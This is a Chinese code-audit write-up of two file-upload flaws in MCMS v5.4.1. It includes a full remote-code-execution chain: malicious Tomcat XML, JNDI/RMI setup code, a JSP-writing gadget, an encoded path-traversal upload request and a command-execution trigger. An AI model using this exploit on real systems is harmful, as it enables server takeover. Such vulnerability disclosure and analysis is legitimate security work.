代码审计 - MCMS v5.4.1 0day挖掘
字数 1372 2025-08-22 12:22:15

MCMS v5.4.1 漏洞分析与利用教学文档

一、系统概述

MingSoft MCMS 是中国铭飞公司开发的一个开源 J2EE 内容管理系统。本次分析针对 v5.4.1 版本,发现两个关键漏洞:

  1. 后台文件上传绕过漏洞 (CVE-2024-42990)
  2. 前台文件上传RCE漏洞 (CVE-2024-42991)

二、环境搭建

  1. 下载 MCMS v5.4.1 源码:https://github.com/ming-soft/MCMS/releases/tag/5.4.1
  2. 打包成 WAR 文件
  3. 使用 Tomcat 部署

三、后台文件上传绕过漏洞 (CVE-2024-42990)

漏洞位置

路由:/ms-mcms/ms/file/uploadTemplate.do

漏洞分析

  1. 文件类型检测机制

    • 代码位于 FileVerifyAop.classuploadAop 方法
    • 使用 BasicUtil.getMimeType 检测上传文件的 MIME 类型
    • 如果是 ZIP 文件,会调用 checkZip 方法进行额外检查
  2. 绕过原理

    • getMimeType 方法会同时检查文件头和 Content-Type
    • 通过修改 ZIP 文件的文件头可以伪造文件类型
    • 在 ZIP 文件中添加图片文件头可以绕过 ZIP 类型检测
  3. 二次检测绕过

    • 即使绕过 ZIP 检测,ManageFileAction.class 还会进行二次检测
    • 需要在 JSP 文件中同样添加图片文件头

利用步骤

  1. 准备一个包含 JSP 文件的 ZIP 压缩包
  2. 修改 ZIP 文件头为图片文件头(如 PNG)
  3. 修改 JSP 文件内容,添加图片文件头
  4. 通过后台文件上传接口上传该 ZIP 文件
  5. 访问上传的 JSP 文件实现 RCE

四、前台文件上传RCE漏洞 (CVE-2024-42991)

漏洞位置

路由:/static/plugins/ueditor/1.4.3.3/jsp/editor.do

利用方式一:通过XML修改JSP解析后缀

  1. 上传限制

    • 允许上传的文件类型包括 XML
    • 配置文件路径:ueditor/config.json
  2. 利用方法

    • 上传恶意的 web.xml 文件
    • 修改 Tomcat 解析 JSP 的后缀配置
    • 添加新的解析后缀(如 .png
    • 上传包含恶意代码的 .png 文件实现 RCE

利用方式二:通过JNDI注入实现RCE

  1. 基本原理

    • 利用 Tomcat 的 hostConfigBase 目录特性
    • 上传到 conf/Catalina/localhost 的 XML 文件会被自动解析
    • 通过 JNDI 注入实现远程代码执行
  2. 利用步骤

步骤1:准备恶意XML文件

<?xml version='1.0' encoding='utf-8'?>
<Context>
  <Manager className="com.sun.rowset.JdbcRowSetImpl" 
           dataSourceName="rmi://localhost:1099/remoteobj" 
           autoCommit="true"></Manager>
</Context>

步骤2:设置RMI服务

public class RMIServe {
    public static void main(String[] args) throws RemoteException, AlreadyBoundException {
        Person person = new Person();
        Registry registry = LocateRegistry.createRegistry(1099);
        registry.bind("person", person);
    }
}

步骤3:JNDI绑定

public class mcms {
    public static void main(String[] args) throws NamingException, RemoteException {
        InitialContext initialContext = new InitialContext();
        ResourceRef ref = tomcatWriteFile();
        initialContext.rebind("rmi://localhost:1099/remoteobj", ref);
    }
    
    private static ResourceRef tomcatWriteFile() {
        ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", 
                                        null, "", "", true, 
                                        "org.apache.catalina.users.MemoryUserDatabaseFactory", 
                                        null);
        ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
        ref.add(new StringRefAddr("readonly", "false"));
        return ref;
    }
}

步骤4:准备恶意JSP文件

<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
              xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
              xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
              version="1.0">
  <role rolename="${pageContext.request.getClass().forName(param.n).getMethod(param.m).invoke(null).exec(param.code)}" />
</tomcat-users>

步骤5:上传利用
使用以下POST请求上传XML文件:

POST /ms-mcms/static/plugins/ueditor/1.4.3.3/jsp/editor.do?jsonConfig=%7b%66%69%6c%65%50%61%74%68%46%6f%72%6d%61%74%3a%27%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%7b%2e%7d%2e%2f%2f%63%6f%6e%66%2f%43%61%74%61%6c%69%6e%61%2f%6c%6f%63%61%6c%68%6f%73%74%2f%38%27%7d&action=uploadfile HTTP/1.1
Host: 127.0.0.1:8079
Content-Type: multipart/form-data; boundary=AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA

--AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA
Content-Disposition: form-data; name="upload"; filename="1.xml"
<?xml version='1.0' encoding='utf-8'?><Context> <Manager className="com.sun.rowset.JdbcRowSetImpl" dataSourceName="rmi://localhost:1099/remoteobj" autoCommit="true"></Manager></Context>
--AuIwirENRLZwUJSzValDLkEbUhZbrxlJuvZrhFXA--

步骤6:触发RCE
访问生成的JSP文件并添加参数:

http://target/test.jsp?n=java.lang.Runtime&m=getRuntime&code=calc

五、漏洞修复

MCMS v5.4.2 已修复上述漏洞,建议用户升级到最新版本。

六、防御建议

  1. 严格限制文件上传类型
  2. 对上传文件进行多重验证(文件头、内容、扩展名等)
  3. 禁用不必要的JNDI功能
  4. 限制XML文件解析功能
  5. 使用最新版本的JDK和中间件
MCMS v5.4.1 漏洞分析与利用教学文档 一、系统概述 MingSoft MCMS 是中国铭飞公司开发的一个开源 J2EE 内容管理系统。本次分析针对 v5.4.1 版本,发现两个关键漏洞: 后台文件上传绕过漏洞 (CVE-2024-42990) 前台文件上传RCE漏洞 (CVE-2024-42991) 二、环境搭建 下载 MCMS v5.4.1 源码:https://github.com/ming-soft/MCMS/releases/tag/5.4.1 打包成 WAR 文件 使用 Tomcat 部署 三、后台文件上传绕过漏洞 (CVE-2024-42990) 漏洞位置 路由: /ms-mcms/ms/file/uploadTemplate.do 漏洞分析 文件类型检测机制 : 代码位于 FileVerifyAop.class 的 uploadAop 方法 使用 BasicUtil.getMimeType 检测上传文件的 MIME 类型 如果是 ZIP 文件,会调用 checkZip 方法进行额外检查 绕过原理 : getMimeType 方法会同时检查文件头和 Content-Type 通过修改 ZIP 文件的文件头可以伪造文件类型 在 ZIP 文件中添加图片文件头可以绕过 ZIP 类型检测 二次检测绕过 : 即使绕过 ZIP 检测, ManageFileAction.class 还会进行二次检测 需要在 JSP 文件中同样添加图片文件头 利用步骤 准备一个包含 JSP 文件的 ZIP 压缩包 修改 ZIP 文件头为图片文件头(如 PNG) 修改 JSP 文件内容,添加图片文件头 通过后台文件上传接口上传该 ZIP 文件 访问上传的 JSP 文件实现 RCE 四、前台文件上传RCE漏洞 (CVE-2024-42991) 漏洞位置 路由: /static/plugins/ueditor/1.4.3.3/jsp/editor.do 利用方式一:通过XML修改JSP解析后缀 上传限制 : 允许上传的文件类型包括 XML 配置文件路径: ueditor/config.json 利用方法 : 上传恶意的 web.xml 文件 修改 Tomcat 解析 JSP 的后缀配置 添加新的解析后缀(如 .png ) 上传包含恶意代码的 .png 文件实现 RCE 利用方式二:通过JNDI注入实现RCE 基本原理 : 利用 Tomcat 的 hostConfigBase 目录特性 上传到 conf/Catalina/localhost 的 XML 文件会被自动解析 通过 JNDI 注入实现远程代码执行 利用步骤 : 步骤1:准备恶意XML文件 步骤2:设置RMI服务 步骤3:JNDI绑定 步骤4:准备恶意JSP文件 步骤5:上传利用 使用以下POST请求上传XML文件: 步骤6:触发RCE 访问生成的JSP文件并添加参数: 五、漏洞修复 MCMS v5.4.2 已修复上述漏洞,建议用户升级到最新版本。 六、防御建议 严格限制文件上传类型 对上传文件进行多重验证(文件头、内容、扩展名等) 禁用不必要的JNDI功能 限制XML文件解析功能 使用最新版本的JDK和中间件